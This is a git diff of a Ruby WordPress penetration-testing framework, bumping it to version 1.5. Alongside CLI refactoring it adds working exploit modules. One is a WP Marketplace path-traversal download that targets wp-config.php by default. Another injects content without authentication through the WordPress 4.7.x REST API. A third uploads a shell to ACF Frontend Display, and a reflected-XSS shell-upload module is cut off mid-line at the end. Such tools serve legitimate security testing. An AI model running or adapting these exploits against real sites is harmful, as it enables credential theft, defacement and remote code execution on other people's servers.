diff --git a/README.md b/README.md
index c8c2e8e..a59f451 100644
--- a/README.md
+++ b/README.md
@@ -1,5 +1,5 @@
# wordpress-exploit-framework
-[![Build Status](https://travis-ci.org/rastating/wordpress-exploit-framework.svg?branch=master)](https://travis-ci.org/rastating/wordpress-exploit-framework) [![Code Climate](https://codeclimate.com/github/rastating/wordpress-exploit-framework/badges/gpa.svg)](https://codeclimate.com/github/rastating/wordpress-exploit-framework) [![Dependency Status](https://gemnasium.com/rastating/wordpress-exploit-framework.svg)](https://gemnasium.com/rastating/wordpress-exploit-framework)
+[![Build Status](https://img.shields.io/travis/rastating/wordpress-exploit-framework/master.svg?colorB=007ec6)](https://travis-ci.org/rastating/wordpress-exploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rastating/wordpress-exploit-framework.svg?colorB=007ec6)](https://codeclimate.com/github/rastating/wordpress-exploit-framework) [![Dependency Status](https://img.shields.io/gemnasium/rastating/wordpress-exploit-framework.svg?colorB=007ec6)](https://gemnasium.com/rastating/wordpress-exploit-framework) [![GitHub release](https://img.shields.io/github/release/rastating/wordpress-exploit-framework.svg)](https://github.com/rastating/wordpress-exploit-framework/releases/latest) [![License](https://img.shields.io/badge/license-GPL%20v3-blue.svg)](https://github.com/rastating/wordpress-exploit-framework/blob/master/LICENSE) [![Trello](https://img.shields.io/badge/trello-wordpress--exploit--framework-blue.svg)](https://trello.com/b/XuChenHg)
A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.
diff --git a/VERSION b/VERSION
index 347f583..c239c60 100644
--- a/VERSION
+++ b/VERSION
@@ -1 +1 @@
-1.4.1
+1.5
diff --git a/data/json/commands.json b/data/json/commands.json
index 220b34d..5a7bdcd 100644
--- a/data/json/commands.json
+++ b/data/json/commands.json
@@ -12,6 +12,10 @@
"cmd": "clear",
"desc": "Clear the screen."
},
+ {
+ "cmd": "exit",
+ "desc": "Exit the WordPress Exploit Framework prompt."
+ },
{
"cmd": "gset [option] [value]",
"desc": "Set the [value] of [option] globally, so it is used by the current and future modules."
diff --git a/lib/cli/auto_complete.rb b/lib/cli/auto_complete.rb
index 26c9e6f..663143c 100644
--- a/lib/cli/auto_complete.rb
+++ b/lib/cli/auto_complete.rb
@@ -28,19 +28,21 @@ def refresh_autocomplete_options
if mod.exploit_module?
opts_hash['payload'] = {}
- Wpxf::Payloads.payload_list.each { |p| opts_hash['payload'][p] = {} }
+ Wpxf::Payloads.payload_list.each { |p| opts_hash['payload'][p[:name]] = {} }
end
end
@autocomplete_list['set'] = opts_hash
@autocomplete_list['unset'] = opts_hash
+ @autocomplete_list['gset'] = opts_hash
+ @autocomplete_list['gunset'] = opts_hash
end
def build_cmd_list
cmds = {}
permitted_commands.each { |c| cmds[c] = {} }
- Wpxf::Auxiliary.module_list.each { |m| cmds['use'][m] = {} }
- Wpxf::Exploit.module_list.each { |m| cmds['use'][m] = {} }
+ Wpxf::Auxiliary.module_list.each { |m| cmds['use'][m[:name]] = {} }
+ Wpxf::Exploit.module_list.each { |m| cmds['use'][m[:name]] = {} }
cmds['show'] = {
'options' => {},
'advanced' => {},
diff --git a/lib/cli/console.rb b/lib/cli/console.rb
index d85bfca..8e7dc88 100644
--- a/lib/cli/console.rb
+++ b/lib/cli/console.rb
@@ -64,7 +64,10 @@ def prompt_for_input
prompt += " [#{context.module_path}]" if context
prompt += ' > '
- Readline.readline(prompt, true)
+
+ input = Readline.readline(prompt, true).to_s
+ puts if input.empty?
+ input
end
def can_handle?(command)
@@ -103,6 +106,7 @@ def on_event_emitted(event)
end
def execute_user_command(command, args)
+ command = 'quit' if command == 'exit'
if can_handle? command
puts unless commands_without_output.include? command
send(command, *args) if correct_number_of_args?(command, args)
diff --git a/lib/cli/context.rb b/lib/cli/context.rb
index cd0d7e3..ea29d0c 100644
--- a/lib/cli/context.rb
+++ b/lib/cli/context.rb
@@ -1,9 +1,6 @@
module Cli
# A context which modules will be used in.
class Context
- def initialize
- end
-
def class_name(path_name)
return path_name if path_name !~ /_/ && path_name =~ /[A-Z]+.*/
path_name.split('_').map(&:capitalize).join
@@ -14,22 +11,7 @@ def verbose?
end
def load_module(path)
- match = path.match(/(auxiliary|exploit)\/(.+)/i)
- raise 'Invalid module path' unless match
-
- type = match.captures[0]
- name = class_name(match.captures[1])
-
- begin
- if type.eql? 'auxiliary'
- @module = Wpxf::Auxiliary.const_get(name).new
- elsif type.eql? 'exploit'
- @module = Wpxf::Exploit.const_get(name).new
- end
- rescue NameError
- raise 'Invalid module name'
- end
-
+ @module = Wpxf.load_module(path)
@module_path = path
@module
end
@@ -45,19 +27,7 @@ def reload
end
def load_payload(name)
- clsid = class_name(name)
-
- if Wpxf::Payloads.const_defined?(clsid)
- payload_class = Wpxf::Payloads.const_get(clsid)
- if payload_class.is_a?(Class)
- self.module.payload = payload_class.new
- else
- fail "\"#{name}\" is not a valid payload"
- end
- else
- fail "\"#{name}\" is not a valid payload"
- end
-
+ self.module.payload = Wpxf::Payloads.load_payload(name)
self.module.payload.check(self.module)
self.module.payload
end
diff --git a/lib/cli/module_info.rb b/lib/cli/module_info.rb
index 1eddc09..30eb3bd 100644
--- a/lib/cli/module_info.rb
+++ b/lib/cli/module_info.rb
@@ -13,7 +13,11 @@ def print_author
def print_description
print_std('Description:')
indent_cursor do
- print_std(wrap_text(context.module.module_desc))
+ if context.module.module_description_preformatted
+ print_std(indent_without_wrap(context.module.module_desc))
+ else
+ print_std(wrap_text(context.module.module_desc))
+ end
end
end
diff --git a/lib/cli/modules.rb b/lib/cli/modules.rb
index ae0047e..83512da 100644
--- a/lib/cli/modules.rb
+++ b/lib/cli/modules.rb
@@ -27,6 +27,7 @@ def use(module_path)
mod = context.load_module(module_path)
mod.event_emitter.subscribe(self)
print_good "Loaded module: #{mod}"
+ mod.emit_usage_info
@context_stack.push(context)
rescue StandardError => e
print_bad "Failed to load module: #{e}"
@@ -40,15 +41,20 @@ def use(module_path)
refresh_autocomplete_options
end
+ def module_name_from_class(klass)
+ klass.new.module_name
+ end
+
def search_modules(args)
pattern = /#{args.map { |m| Regexp.escape(m) }.join('|')}/i
module_list = Wpxf::Auxiliary.module_list + Wpxf::Exploit.module_list
results = []
- module_list.select { |m| m =~ pattern }.each do |path|
- context = Context.new
- context.load_module(path)
- results.push(path: path, title: context.module.module_name)
+ module_list.select { |m| m[:name] =~ pattern }.each do |mod|
+ results.push(
+ path: mod[:name],
+ title: module_name_from_class(mod[:class])
+ )
end
results
diff --git a/lib/cli/output.rb b/lib/cli/output.rb
index 26645c3..02f297b 100644
--- a/lib/cli/output.rb
+++ b/lib/cli/output.rb
@@ -12,6 +12,10 @@ def wrap_text(s, padding = 0, width = 78)
.gsub(/\s+$/, '')
end
+ def indent_without_wrap(s)
+ s.gsub(/\n/, "\n#{@indent * @indent_level}")
+ end
+
def print_std(msg)
puts "#{@indent * @indent_level}#{msg}"
end
diff --git a/lib/wpxf/core/module_info.rb b/lib/wpxf/core/module_info.rb
index 703db5a..1e4acd2 100644
--- a/lib/wpxf/core/module_info.rb
+++ b/lib/wpxf/core/module_info.rb
@@ -17,7 +17,7 @@ def update_info(info)
@info.merge!(info)
@info[:date] = Date.parse(@info[:date].to_s)
- @info[:desc] = @info[:desc].split.join(' ')
+ @info[:desc] = @info[:desc].gsub(/ +/, ' ')
@info
end
@@ -45,5 +45,15 @@ def module_author
def module_date
@info[:date]
end
+
+ # @return [Boolean] true if the description is preformatted.
+ def module_description_preformatted
+ @info[:desc_preformatted]
+ end
+
+ # Emits any information that the user should be aware of before using the module.
+ def emit_usage_info
+ nil
+ end
end
end
diff --git a/lib/wpxf/core/payload.rb b/lib/wpxf/core/payload.rb
index 6c8aeb5..6f40906 100644
--- a/lib/wpxf/core/payload.rb
+++ b/lib/wpxf/core/payload.rb
@@ -16,6 +16,8 @@ def initialize
default: true
)
])
+
+ self.queued_commands = []
end
# @return an encoded version of the payload.
@@ -74,12 +76,14 @@ def post_exploit(mod)
# Cleanup any allocated resource to the payload.
def cleanup
+ nil
end
# Run checks to raise warnings to the user of any issues or noteworthy
# points in regards to the payload being used with the current module.
# @param mod [Module] the module using the payload.
def check(mod)
+ nil
end
# @return [Hash] a hash of constants that should be injected at the
@@ -104,9 +108,19 @@ def php_preamble
preamble
end
+ # Enqueue a command to be executed on the target system, if the
+ # payload supports queued commands.
+ # @param cmd [String] the command to execute when the payload is executed.
+ def enqueue_command(cmd)
+ queued_commands.push(cmd)
+ end
+
# @return the payload in its raw format.
attr_accessor :raw
+ # @return [Array] the commands queued to be executed on the target.
+ attr_accessor :queued_commands
+
private
def raw_payload_with_random_var_names
diff --git a/lib/wpxf/utility/reference_inflater.rb b/lib/wpxf/utility/reference_inflater.rb
index ac2d88c..ec69802 100644
--- a/lib/wpxf/utility/reference_inflater.rb
+++ b/lib/wpxf/utility/reference_inflater.rb
@@ -22,7 +22,7 @@ def format_strings
{
'WPVDB' => 'https://wpvulndb.com/vulnerabilities/%s',
'OSVDB' => 'http://www.osvdb.org/%s',
- 'CVE' => 'http://www.cvedetails.com/cve/%s',
+ 'CVE' => 'http://www.cvedetails.com/cve/CVE-%s',
'EDB' => 'https://www.exploit-db.com/exploits/%s',
'URL' => '%s'
}
diff --git a/lib/wpxf/wordpress/file_download.rb b/lib/wpxf/wordpress/file_download.rb
index 768fb5b..ac8f432 100644
--- a/lib/wpxf/wordpress/file_download.rb
+++ b/lib/wpxf/wordpress/file_download.rb
@@ -76,12 +76,19 @@ def validate_content(content)
true
end
+ # A task to run before the download starts.
+ # @return [Boolean] true if pre-download operations were successful.
+ def before_download
+ true
+ end
+
# Run the module.
# @return [Boolean] true if successful.
def run
validate_implementation
return false unless super
+ return false unless before_download
res = request_file
return false unless validate_result(res) && validate_content(res.body)
diff --git a/lib/wpxf/wordpress/fingerprint.rb b/lib/wpxf/wordpress/fingerprint.rb
index 894f0f0..1783419 100644
--- a/lib/wpxf/wordpress/fingerprint.rb
+++ b/lib/wpxf/wordpress/fingerprint.rb
@@ -79,7 +79,7 @@ def check_version_from_custom_file(url, regex, fixed = nil, introduced = nil)
private
- WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)'
+ WORDPRESS_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)'
WORDPRESS_GENERATOR_VERSION_PATTERN = %r{}xi
diff --git a/lib/wpxf/wordpress/shell_upload.rb b/lib/wpxf/wordpress/shell_upload.rb
index 96bde5a..e0b925c 100644
--- a/lib/wpxf/wordpress/shell_upload.rb
+++ b/lib/wpxf/wordpress/shell_upload.rb
@@ -36,14 +36,17 @@ def payload_name
# @return [String] the URL of the file used to upload the payload.
def uploader_url
+ nil
end
# @return [BodyBuilder] the {Wpxf::Utility::BodyBuilder} used to generate the uploader form.
def payload_body_builder
+ nil
end
# @return [String] the URL of the payload after it is uploaded to the target.
def uploaded_payload_location
+ nil
end
# Called prior to preparing and uploading the payload.
@@ -52,6 +55,21 @@ def before_upload
true
end
+ # @return [Integer] the response code to expect from a successful upload operation.
+ def expected_upload_response_code
+ 200
+ end
+
+ # @return [Hash] the query string parameters to use when submitting the upload request.
+ def upload_request_params
+ nil
+ end
+
+ # @return [String] the extension type to use when generating the payload name.
+ def payload_name_extension
+ 'php'
+ end
+
# Run the module.
# @return [Boolean] true if successful.
def run
@@ -59,7 +77,7 @@ def run
return false unless before_upload
emit_info 'Preparing payload...'
- @payload_name = "#{Utility::Text.rand_alpha(payload_name_length)}.php"
+ @payload_name = "#{Utility::Text.rand_alpha(payload_name_length)}.#{payload_name_extension}"
builder = payload_body_builder
return false unless builder
@@ -67,6 +85,7 @@ def run
return false unless upload_payload(builder)
payload_url = uploaded_payload_location
+ return false unless payload_url
emit_success "Uploaded the payload to #{payload_url}", true
emit_info 'Executing the payload...'
@@ -75,6 +94,11 @@ def run
true
end
+ # @return [Boolean] true if the result of the upload operation is valid.
+ def validate_upload_result
+ true
+ end
+
# Execute the payload at the specified address.
# @param payload_url [String] the payload URL to access.
def execute_payload(payload_url)
@@ -90,7 +114,7 @@ def payload_name_length
def upload_payload(builder)
builder.create do |body|
- @upload_result = execute_post_request(url: uploader_url, body: body, cookie: @session_cookie)
+ @upload_result = execute_post_request(url: uploader_url, params: upload_request_params, body: body, cookie: @session_cookie)
end
if @upload_result.nil? || @upload_result.timed_out?
@@ -98,13 +122,13 @@ def upload_payload(builder)
return false
end
- if @upload_result.code != 200
+ if @upload_result.code != expected_upload_response_code
emit_info "Response code: #{@upload_result.code}", true
emit_info "Response body: #{@upload_result.body}", true
emit_error 'Failed to upload payload'
return false
end
- true
+ validate_upload_result
end
end
diff --git a/lib/wpxf/wordpress/urls.rb b/lib/wpxf/wordpress/urls.rb
index fb6913c..72f7f83 100644
--- a/lib/wpxf/wordpress/urls.rb
+++ b/lib/wpxf/wordpress/urls.rb
@@ -111,4 +111,9 @@ def wordpress_url_uploads
def wordpress_url_admin_profile
normalize_uri(wordpress_url_admin, 'profile.php')
end
+
+ # @return [String] the base path of the REST API introduced in WordPress 4.7.0.
+ def wordpress_url_rest_api
+ normalize_uri(full_uri, 'wp-json')
+ end
end
diff --git a/modules/auxiliary/wp_marketplace_v2.4_file_download.rb b/modules/auxiliary/wp_marketplace_v2.4_file_download.rb
new file mode 100644
index 0000000..bd0a880
--- /dev/null
+++ b/modules/auxiliary/wp_marketplace_v2.4_file_download.rb
@@ -0,0 +1,139 @@
+class Wpxf::Auxiliary::WpMarketplaceV24FileDownload < Wpxf::Module
+ include Wpxf::WordPress::FileDownload
+
+ def initialize
+ super
+
+ update_info(
+ name: 'WP Marketplace <= 2.4.0 Arbitrary File Download',
+ desc: %(
+ This module exploits a vulnerability which allows registered users of any level
+ to download any arbitrary file accessible by the user the web server is running as.
+ ),
+ author: [
+ 'Kacper Szurek', # Disclosure
+ 'Rob Carr ' # WPXF module
+ ],
+ references: [
+ ['WPVDB', '7861'],
+ ['CVE', '2014-9013'],
+ ['CVE', '2014-9014'],
+ ['URL', 'http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html']
+ ],
+ date: 'Mar 21 2015'
+ )
+
+ register_options([
+ StringOption.new(
+ name: 'user_role',
+ desc: 'The role of the user account being used for authentication',
+ default: 'Subscriber',
+ required: true
+ )
+ ])
+ end
+
+ def check
+ check_plugin_version_from_changelog('wpmarketplace', 'readme.txt', '2.4.1')
+ end
+
+ def requires_authentication
+ true
+ end
+
+ def default_remote_file_path
+ '../../../wp-config.php'
+ end
+
+ def working_directory
+ 'wp-content/plugins/wpmarketplace'
+ end
+
+ def modify_plugin_permissions
+ res = execute_post_request(
+ url: full_uri,
+ body: {
+ 'action' => 'wpmp_pp_ajax_call',
+ 'execute' => 'wpmp_save_settings',
+ '_wpmp_settings[user_role][]' => datastore['user_role'].downcase
+ },
+ cookie: session_cookie
+ )
+
+ unless res && res.code == 200 && res.body =~ /Settings Saved Successfully/i
+ emit_error 'Failed to modify the plugin permissions'
+ return false
+ end
+
+ true
+ end
+
+ def fetch_ajax_nonce
+ res = execute_post_request(
+ url: full_uri,
+ body: {
+ 'action' => 'wpmp_pp_ajax_call',
+ 'execute' => 'wpmp_front_add_product'
+ },
+ cookie: session_cookie
+ )
+
+ return nil if !res || res.code != 200
+ nonce = res.body[/name="__product_wpmp" value="([^"]+)"/i, 1]
+
+ unless nonce
+ emit_error 'Failed to acquire a download nonce'
+ emit_error res.inspect, true
+ return false
+ end
+
+ nonce
+ end
+
+ def create_product
+ res = execute_post_request(
+ url: full_uri,
+ body: {
+ '__product_wpmp' => @nonce,
+ 'post_type' => 'wpmarketplace',
+ 'id' => @download_id,
+ 'wpmp_list[base_price]' => '0',
+ 'wpmp_list[file][]' => remote_file
+ },
+ cookie: session_cookie
+ )
+
+ unless res && (res.code == 200 || res.code == 302)
+ emit_error 'Failed to create dummy product'
+ emit_error res.inspect, true
+ return false
+ end
+
+ true
+ end
+
+ def before_download
+ return false unless modify_plugin_permissions
+ emit_info 'Modified plugin permissions successfully', true
+
+ @nonce = fetch_ajax_nonce
+ return false unless @nonce
+
+ emit_info "Acquired nonce \"#{@nonce}\"", true
+ @download_id = "1#{Utility::Text.rand_numeric(5)}"
+
+ create_product
+ end
+
+ def download_request_method
+ :post
+ end
+
+ def downloader_url
+ full_uri
+ end
+
+ def download_request_params
+ { 'wpmpfile' => @download_id }
+ end
+end
diff --git a/modules/auxiliary/wp_v4.7.1_content_injection.rb b/modules/auxiliary/wp_v4.7.1_content_injection.rb
new file mode 100644
index 0000000..615283a
--- /dev/null
+++ b/modules/auxiliary/wp_v4.7.1_content_injection.rb
@@ -0,0 +1,105 @@
+class Wpxf::Auxiliary::WpV471ContentInjection < Wpxf::Module
+ include Wpxf
+
+ def initialize
+ super
+
+ update_info(
+ name: 'WordPress 4.7.0 - 4.7.1 Unauthenticated Content Injection',
+ desc: %(
+ The REST API in versions 4.7.0 and 4.7.1 of WordPress contain a number
+ of validation issues, which allow unauthenticated users to edit any post
+ on the target installation.
+
+ If the target has the API enabled (enabled by default), this module will
+ update the post with the specified content, title and or excerpt.
+ ),
+ author: [
+ 'Sucuri ', # Disclosure
+ 'Rob Carr ' # WPXF module
+ ],
+ references: [
+ ['WPVDB', '8734'],
+ ['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html']
+ ],
+ date: 'Feb 01 2017'
+ )
+
+ register_options([
+ IntegerOption.new(
+ name: 'post_id',
+ desc: 'The ID of the post to update',
+ required: true
+ ),
+ StringOption.new(
+ name: 'content',
+ desc: 'The content to inject',
+ required: false
+ ),
+ StringOption.new(
+ name: 'title',
+ desc: 'The title to inject',
+ required: false
+ ),
+ StringOption.new(
+ name: 'excerpt',
+ desc: 'The excerpt to inject',
+ required: false
+ )
+ ])
+ end
+
+ def check
+ version = wordpress_version
+ return :unknown if version.nil?
+
+ if version == Gem::Version.new('4.7') || version == Gem::Version.new('4.7.1')
+ return :vulnerable if rest_api_is_available
+ end
+
+ :safe
+ end
+
+ def rest_api_is_available
+ res = execute_get_request(url: wordpress_url_rest_api)
+ (res && res.code == 200)
+ end
+
+ def post_id
+ normalized_option_value('post_id')
+ end
+
+ def post_route
+ normalize_uri(wordpress_url_rest_api, 'wp', 'v2', 'posts', post_id)
+ end
+
+ def api_request_body
+ data = {}
+ data['content'] = datastore['content'] if datastore['content']
+ data['title'] = datastore['title'] if datastore['title']
+ data['excerpt'] = datastore['excerpt'] if datastore['excerpt']
+ data
+ end
+
+ def run
+ return false unless super
+
+ emit_info 'Building request...'
+ data = api_request_body
+ emit_info "Request: #{data.inspect}", true
+
+ emit_info 'Injecting content...'
+ execute_put_request(
+ url: post_route,
+ body: data.to_json,
+ params: {
+ 'id' => "#{post_id}#{Utility::Text.rand_alpha(3)}"
+ },
+ headers: {
+ 'Content-Type' => 'application/json'
+ }
+ )
+
+ true
+ end
+end
diff --git a/modules/auxiliary/wp47_user_info_disclosure.rb b/modules/auxiliary/wp_v4.7_user_info_disclosure.rb
similarity index 100%
rename from modules/auxiliary/wp47_user_info_disclosure.rb
rename to modules/auxiliary/wp_v4.7_user_info_disclosure.rb
diff --git a/modules/exploits/acf_frontend_display_shell_upload.rb b/modules/exploits/acf_frontend_display_shell_upload.rb
new file mode 100644
index 0000000..50dd04b
--- /dev/null
+++ b/modules/exploits/acf_frontend_display_shell_upload.rb
@@ -0,0 +1,39 @@
+class Wpxf::Exploit::AcfFrontendDisplayShellUpload < Wpxf::Module
+ include Wpxf::WordPress::ShellUpload
+
+ def initialize
+ super
+
+ update_info(
+ name: 'ACF Frontend Display <= 2.0.5 Unauthenticated Shell Upload',
+ author: [
+ 'TCYB3R', # Discovery and disclosure
+ 'Rob Carr ' # WPXF module
+ ],
+ references: [
+ ['WPVDB', '8086'],
+ ['EDB', '37514']
+ ],
+ date: 'Jul 03 2015'
+ )
+ end
+
+ def check
+ check_plugin_version_from_readme('acf-frontend-display', '2.0.6')
+ end
+
+ def uploader_url
+ normalize_uri(wordpress_url_plugins, 'acf-frontend-display', 'js', 'blueimp-jQuery-File-Upload-d45deb1', 'server', 'php', 'index.php')
+ end
+
+ def payload_body_builder
+ builder = Utility::BodyBuilder.new
+ builder.add_field('action', 'upload')
+ builder.add_file_from_string('files', payload.encoded, payload_name)
+ builder
+ end
+
+ def uploaded_payload_location
+ normalize_uri(wordpress_url_uploads, "uigen_#{Time.now.strftime('%Y')}", payload_name)
+ end
+end
diff --git a/modules/exploits/content_slide_reflected_xss_shell_upload.rb b/modules/exploits/content_slide_reflected_xss_shell_upload.rb
new file mode 100644
index 0000000..cce2eb3
--- /dev/null
+++ b/modules/exploits/content_slide_reflected_xss_shell_upload.rb
@@ -0,0 +1,36 @@
+class Wpxf::Exploit::ContentSlideReflectedXssShellUpload < Wpxf::Module
+ include Wpxf::WordPress::StagedReflectedXss
+
+ def initialize
+ super
+
+ update_info(
+ name: 'Content Slide Reflected XSS Shell Upload',
+ author: [
+ 'Tom Adams (dxw)', # Disclosure
+ 'Paul Williams 1,
+ 'wpcs_options[slide_image1]' => "\\\">